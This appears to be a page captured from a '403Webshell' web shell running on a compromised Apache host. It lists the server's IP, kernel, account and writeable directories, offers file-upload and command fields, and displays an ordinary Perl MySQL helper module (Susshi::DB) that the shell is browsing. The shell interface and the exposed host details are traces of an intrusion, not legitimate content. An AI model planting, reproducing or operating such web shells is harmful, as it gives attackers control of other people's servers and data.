403Webshell
Server IP : 74.208.236.79  /  Your IP : 216.73.216.40
Web Server : Apache
System : Linux infongp-us50 4.4.400-icpu-108 #2 SMP Wed Feb 11 10:12:42 UTC 2026 x86_64
User : u93192080 ( 6162215)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/susshi/exec/Susshi/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/susshi/exec/Susshi/DB.pm
package Susshi::DB;

use warnings;
use strict;

use DBI;

sub new {
    my $class = shift;
    my %args = @_;

    my $self = {};

    foreach my $key ( qw (username userpassword databasehost databasename) ) {
        $self->{$key} = delete $args{$key} or die "Missing mandatory option $key";
    }
    $self->{databasesocket} = delete $args{databasesocket};
    $self->{tablefilter}    = delete $args{tablefilter} // '';

    return bless $self, $class;
}

sub _get_dsn {
    my $self = shift;

    if (! $self->{_dsn}) {
        $self->{_dsn} = sprintf 'dbi:mysql:database=%s;hostname=%s',
            $self->{databasename}, $self->{databasehost};
        $self->{_dsn} .= ';mysql_socket=' . $self->{databasesocket} if $self->{databasesocket};
    }
    return $self->{_dsn};
}

sub _get_dbh {
    my $self = shift;

    if (! $self->{_dbh}) {
        $self->{_dbh} = DBI->connect (
            $self->_get_dsn,
            $self->{username},
            $self->{userpassword},
            { RaiseError => 0, PrintError => 0, }
        ) or die $DBI::errstr . "\n";
    }
    return $self->{_dbh};
}

sub drop_tables {
    my $self   = shift;
    my ($tbls)  = @_;

    die unless ref $tbls eq 'ARRAY';
    
    my $dbh    = $self->_get_dbh;
    foreach my $tbl (@$tbls) {
        $dbh->do('DROP TABLE ' . $dbh->quote_identifier($tbl));
    }
}

sub get_mysql_args {
    my $self = shift;

    my @mysql_args=(
        '--host=' . $self->{databasehost},
        '--user=' . $self->{username},
        '--password=' . $self->{userpassword},
        $self->{databasename},
    );
    push @mysql_args, '--socket=' . $self->{databasesocket} if $self->{databasesocket};

    return @mysql_args;
}

sub get_tables {
    my $self   = shift;

    my $size   = 0;
    my @tables = ();
    my $prefix = $self->{tablefilter};

    my $dbh    = $self->_get_dbh;
    my $query  = 'SHOW TABLE STATUS';
    if ($prefix) {
        $query .= ' LIKE ' . $dbh->quote($prefix . '%');
    }
    my $sth = $dbh->prepare($query);
    $sth->execute;
    while (my $t = $sth->fetchrow_hashref()) {
        $size += $t->{Index_length} + $t->{Data_length};
        push @tables, $t->{Name};
    }

    return $size, \@tables;
}

1;

Youez - 2016 - github.com/yon3zu
LinuXploit